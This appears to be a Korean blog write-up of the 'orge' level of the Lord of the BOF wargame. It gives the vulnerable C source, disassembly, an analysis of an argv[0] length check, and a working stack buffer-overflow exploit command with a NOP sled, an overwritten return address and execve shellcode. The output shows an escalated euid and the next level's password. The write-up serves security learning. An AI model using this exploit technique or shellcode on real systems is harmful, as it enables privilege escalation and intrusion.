728x90
반응형
1. intro
2. code 및 분석
2.1 C code
/*
The Lord of the BOF : The Fellowship of the BOF
- orge
- check argv[0]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// here is changed!
if(strlen(argv[0]) != 77){
printf("argv[0] error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
2.3. 분석
2.3.1. assembler code (중요 부분)
앞선 문제와 동일하지만, 이번에는 argv[0]의 크기가 0x4d가 아니면 종료하는 부분이 추가되었다.
0x8048520 <main+32>: add $0x4,%esp
0x8048523 <main+35>: mov 0xc(%ebp),%eax
0x8048526 <main+38>: mov (%eax),%edx
0x8048528 <main+40>: push %edx
0x8048529 <main+41>: call 0x80483f0 <strlen>
0x804852e <main+46>: add $0x4,%esp
0x8048531 <main+49>: mov %eax,%eax
0x8048533 <main+51>: cmp $0x4d,%eax
0x8048536 <main+54>: je 0x8048550 <main+80>
0x8048538 <main+56>: push $0x804869c
0x804853d <main+61>: call 0x8048410 <printf>
0x8048542 <main+66>: add $0x4,%esp
0x8048545 <main+69>: push $0x0
0x8048547 <main+71>: call 0x8048420 <exit>
0x804854c <main+76>: add $0x4,%esp
3. 취약점 확인 및 공격 준비
3.1 취약점
취약점은 여전히 동일하게 ret address 변조가 가능하다는 점이다.
3.2 공격 준비
본 문제의 원래 의도는 아마 파일 명을 shellcode로 사용하라는 의미였을 것이다.
하지만, 시간이 지날수록 짧은 shellcode가 만들어졌기에 그 부분은 의미가 없어졌다.
단순히 argv[0]의 길이만 맞춰주고 이전과 동일하게 공격하면 될 것으로 보인다.
4. exploit
파일명 길이를 맞춰주는 방법은 다양하지만, 아래와 같이 처리하고, argv[2]는 확인하지 않으니 아래와 같이 공격 가능하다.
[darkelf@localhost darkelf]$ .////////////////////////////////////////////////////////////////////////orga `python -c 'print "\x90"*44 + "\x5c\xfb\xff\xbf"'` `python -c 'print "\x90"*100 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
\
euid = 506
kernel crashed
[darkelf@localhost darkelf]$ .////////////////////////////////////////////////////////////////////////orge `python -c 'print "\x90"*44 + "\x5c\xfb\xff\xbf"'` `python -c 'print "\x90"*100 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
\
euid = 507
timewalker
728x90
반응형
'Wargame > Hackerchool' 카테고리의 다른 글
[lob] troll -> vampire (0) | 2022.09.13 |
---|---|
[lob] orge -> trol (0) | 2022.09.13 |
[lob] wolfman -> darkelf (0) | 2022.09.13 |
[lob] orc -> wolfman (0) | 2022.09.12 |
[lob] goblin -> orc (0) | 2022.09.12 |